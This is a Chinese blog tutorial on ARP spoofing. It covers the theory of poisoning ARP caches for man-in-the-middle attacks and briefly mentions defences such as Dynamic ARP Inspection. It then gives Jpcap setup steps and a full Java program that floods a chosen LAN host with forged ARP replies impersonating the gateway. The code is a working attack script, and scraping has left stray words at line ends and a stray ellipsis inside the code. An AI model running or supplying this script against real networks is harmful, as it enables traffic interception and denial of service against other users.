Jpcap實現ARP攻擊

一、什麼是ARP攻擊?

ARP攻擊原理是由攻擊者發送假的ARP數據包到網絡上,尤爲是送到網關上。其目的是要讓送至特定的IP地址的流量被錯誤送到攻擊者所取代的地方。所以攻擊者可將這些流量另行轉送到真正的網關(被動式數據包嗅探,passive sniffing)或是篡改後再轉送(中間人攻擊,man-in-the-middle attack)。攻擊者亦可將ARP數據包導到不存在的MAC地址讓被攻擊者沒法訪問網絡。html

image
image

一、主機A向主機B正常發送數據,假設是一份郵件數據。

二、攻擊者該如何獲取郵件數據呢?首先發送一個僞造主機B的ARP包到主機A告訴主機A,主機B的MAC地址是攻擊者自身的MAC地址,當主機A接受到這個ARP包時就會更新本地路由表,將主機BIP關聯的MAC地址修改成攻擊者的MAC地址。java

三、和第二步同樣經過相同的攻擊手段讓主機B更新本身的本地路由表,將主機A的IP地址對應的MAC地址修改成攻擊者的MAC地址。git

四、當主機A還像往常同樣發送一封郵件到主機B時,首先會到本地路由表獲取主機B對應的MAC地址,此時MAC已經被修改,因此主機A會將數據包發送給攻擊者,攻擊者篡改內容後將數據發送給主機B,同理當主機B給主機A發送數據的時候也會被攻擊者攔截,這樣攻擊者就實現了對主機A、主機B數據的竊取。bash

二、如何防護?

從攻擊的原理能夠看出,實現ARP防護關鍵在於主機信任了僞造的ARP包並更新本地路由表。最簡單有效的方式就是使用靜態路由表。這樣有一個弊端,當局域網內主機數量很是多時靜態路由表的配置就會很是繁瑣。其實目前ARP防護主要由網絡設備(例如交換機、路由器)來實現。網絡

舉個例子:動態ARP檢測 DAI(Dynamic ARP Inspection)post

一、交換機會記錄每一個對外連接端口對應的IP地址以及MAC地址port:mac:ip,生成DAI檢測表;
二、交換機在接收到ARP包時會檢測你鏈接的端口綁定的IP和MAC地址,發現MAC地址與綁定與DAI不一致,就回丟棄並執行相應的懲罰機制。spa

三、使用Jpcap實現ARP攻擊

注意:以mac book安裝Jpcap爲例.net

一、下載Jpcap 選擇本身的平臺 下載地址prototype

二、解壓、cd [Jpcap extracted directory]/src/main/c、執行makecode

三、當前目錄會生成一個libjpcap.jnilib文件將libjpcap.jnilib複製到java.library.path目錄下不知道目錄在哪能夠經過

System.out.println(System.getProperty("java.library.path"))複製代碼

獲取並將文件依次放進去嘗試

四、將 lib 目錄下的 jpcap.jar 複製到 java classPath ext 目錄下相似 /Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/jre/lib/ext

五、IDEA 導入 jpcap.jar

image
image

代碼示例,構建對ARP包不瞭解的同窗能夠先了解一下ARP包結構以及頭部、ARP協議詳解

package com.yoku.brandon;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;

import java.io.IOException;
import java.net.InetAddress;
import java.util.Arrays;


/** * @author hodu */
public class ArpClient {



    private static NetworkInterface device = JpcapCaptor.getDeviceList()[0];

    /** * 本地IP接收ARP包 */
    private static final String LOCAL_HOST_IP = "192.168.0.106";

    /** * 經過IP地址獲取MAC地址。 * * @param ip ip 地址 * @return Mac地址 */
    private static byte[] getMacByIP(String ip) throws IOException {
        //打開網絡設備
        JpcapCaptor jpcapCaptor = JpcapCaptor.openDevice(device, 2000, false, 3000);
        //發送器JpcapSender,用來發送報文
        JpcapSender jpcapSender = jpcapCaptor.getJpcapSenderInstance();


        InetAddress senderIP = InetAddress.getByName(LOCAL_HOST_IP);
        //目標主機的IP地址
        InetAddress targetIP = InetAddress.getByName(ip);

        ARPPacket arp = new ARPPacket();
        //硬件類型 1 表明以太網
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        //協議類型 ip協議
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        //硬件地址長度
        arp.hlen = 6;
        //協議地址長度
        arp.plen = 4;
        //Opcode 操做類型 request
        arp.operation = ARPPacket.ARP_REQUEST;

        //ARP包的發送端以太網地址
        arp.sender_hardaddr = device.mac_address;
        //發送端IP地址
        arp.sender_protoaddr = senderIP.getAddress();

        byte[] broadcast = new byte[]{(byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255};
        //設置目的端的以太網地址爲廣播地址
        arp.target_hardaddr = broadcast;
        //目的端IP地址
        arp.target_protoaddr = targetIP.getAddress();

        //添加以太網首部
        EthernetPacket ether = new EthernetPacket();
        ether.dst_mac = broadcast;
        ether.src_mac = device.mac_address;
        //上層協議
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        //將arp包設置以太網頭部
        arp.datalink = ether;


        while (true) {
            jpcapSender.sendPacket(arp);
            Packet packet = jpcapCaptor.getPacket();
            if (packet instanceof ARPPacket) {
                ARPPacket arpPacket = (ARPPacket) packet;
                if (Arrays.equals(arpPacket.target_protoaddr, senderIP.getAddress())) {
                    System.out.println("success mac=" + Arrays.toString(arpPacket.sender_hardaddr));
                    return arpPacket.sender_hardaddr;
                }
            }
            try {
                Thread.sleep(200);
            } catch (InterruptedException ignore) {
            }
        }
    }


    private static byte[] stomac(String macAddr) {
        byte[] mac = new byte[]{(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};
        String[] temp = macAddr.split("-");
        for (int x = 0; x < temp.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
        }
        return mac;
    }


    private static void attack(String ip, int time) throws InterruptedException, IOException {
        JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
        jpcap.setFilter("arp", true);
        JpcapSender sender = JpcapSender.openDevice(device);

        ARPPacket arp = new ARPPacket();
        //硬件類型
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        //協議類型
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        //指明是ARP應答包包
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6;
        arp.plen = 4;

        byte[] srcmac = stomac("00-00-00-FE-C1-23");
        arp.sender_hardaddr = srcmac;
        //設置網關
        arp.sender_protoaddr = InetAddress.getByName("192.168.0.1").getAddress();

        arp.target_hardaddr = getMacByIP(ip);
        arp.target_protoaddr = InetAddress.getByName(ip).getAddress();

        //設置數據鏈路層的幀
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = srcmac;
        ether.dst_mac = getMacByIP(ip);
        arp.datalink = ether;

        int i = 0;
        while (true) {
            sender.sendPacket(arp);
            System.out.println("Arp send success");
            Thread.sleep(time);
            i++;…
            if (i > 1000000000) {
                break;
            }
        }
    }

    public static void main(String[] args) throws InterruptedException, IOException {
        System.out.println(System.getProperty("java.library.path"));
        attack("192.168.0.107", 500);
    }
}複製代碼

啓動便可對指定Ip進行ARP攻擊、通常的交換機和路由器都有防護ARP攻擊的機制,效果不必定明顯。使用wireshark抓包以下:

image
image
相關文章
相關標籤/搜索